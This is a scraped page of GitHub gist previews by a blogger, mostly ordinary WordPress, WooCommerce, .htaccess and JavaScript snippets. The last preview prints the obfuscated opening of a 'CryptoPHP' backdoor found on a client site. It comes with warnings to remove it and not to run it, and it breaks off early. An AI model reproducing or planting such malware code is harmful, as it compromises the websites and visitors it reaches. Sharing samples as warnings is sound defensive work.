This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* * | |
* Created By : TechnoKnol (Nick Name ) | |
* Created On : 30th January 2014 | |
* Blog : http://technoknol.blogspot.com | |
* | |
* */ | |
/************************ | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Created By (Nick Name): TechnoKnol | |
* blog : http://technoknol.blogspot.com | |
* Purpose : Add your own code to Woocommerce Single Product Page | |
* | |
* */ | |
/* | |
* Add this code to your theme's 'functions.php' file |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## EXPIRES CACHING ## | |
<IfModule mod_expires.c> | |
ExpiresActive On | |
ExpiresByType image/jpg "access 1 year" | |
ExpiresByType image/jpeg "access 1 year" | |
ExpiresByType image/gif "access 1 year" | |
ExpiresByType image/png "access 1 year" | |
ExpiresByType text/css "access 1 month" | |
ExpiresByType application/pdf "access 1 month" | |
ExpiresByType text/x-javascript "access 1 month" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- | |
* Author : TechnoKnol | |
* Description : Show Loader while Page Loads Completely | |
* | |
* | |
* | |
--> | |
<!-- Add below DIV right after <body> --> | |
<div id="spinner"></div> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Author : TechnoKnol | |
* Blog : http://technoknol.blogspot.com | |
* Purpose : Allow HTML tags in Widget Title in WordPress | |
* | |
* */ | |
// Add below code in your theme's functions.php file | |
// Allow HTML tags in Widget title | |
function html_widget_title( $var) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* Author : TechnoKnol | |
* Blog : http://technoknol.blogspot.com | |
* | |
*/ | |
header("Content-type: text/csv"); | |
header("Content-Disposition: attachment; filename=file.csv"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Function :: | |
function getParameterByName(name) { | |
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]"); | |
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"), | |
results = regex.exec(location.search); | |
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " ")); | |
} | |
// Usage :: | |
var queryVar = getParameterByName('key'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
global $post; | |
$terms = get_the_terms( $post->ID, 'product_cat' ); | |
foreach ($terms as $term) { | |
$product_cat_id[] = $term->term_id; | |
break; | |
} | |
print_r (array_filter( array_unique( $product_cat_id ))) ; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Get current time in milliseconds | |
$timeparts = explode(" ",microtime()); | |
$currenttime = bcadd(($timeparts[0]*1000),bcmul($timeparts[1],1000)); | |
echo $currenttime; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This is CryptoPHP code sample I found on one of my client site. Remove this nasty code as soon as possible. | |
// This Gist is not to harm anyone. Don't run this code on your site. | |
// Generally it can be found in .png , .jpg files. | |
<?php @ini_set('max_execution_time', 300); @set_time_limit(0); error_reporting(0); @ini_set('display_errors', 0); if (!defined('WP_CLIENT_KEY')) { class mWocWcrhWpiDUTXuIwU { public $ANVoslonRNQSwwQloQTx = array(), $uQfIZmMpqyjCaRQMgMoc = array(), $TTsctbCBDGVyjyFVpVyp, $lhHQvpYkByKYXvXEsFob, $whjvYeznCnnMhNySt, $keXZeLlUjrISqwBQePlM, $wbpSSSviIAVdaxozPaIs, $rFofWoxFwVRGhuCOjsaK, $QchKkLFzBKbvSGpfvxRI, $uBgDYDxGvwTUUWgwsZtu, $RYXaXWzmuNWbJhAAdkYk; public $ClbAffTqwdfsStqVgzyq; public function __construct( $TTsctbCBDGVyjyFVpVyp ) { $this->TTsctbCBDGVyjyFVpVyp = $TTsctbCBDGVyjyFVpVyp; if ( $TTsctbCBDGVyjyFVpVyp === 1 ) { $rTfnEPRdToBnhSfwgHoC = "CREATE TABLE IF NOT EXISTS `#__options` ( | |
`id` int(10) NOT NULL AUTO_INCREMENT, | |
`option_name` text NOT NULL, | |
`val |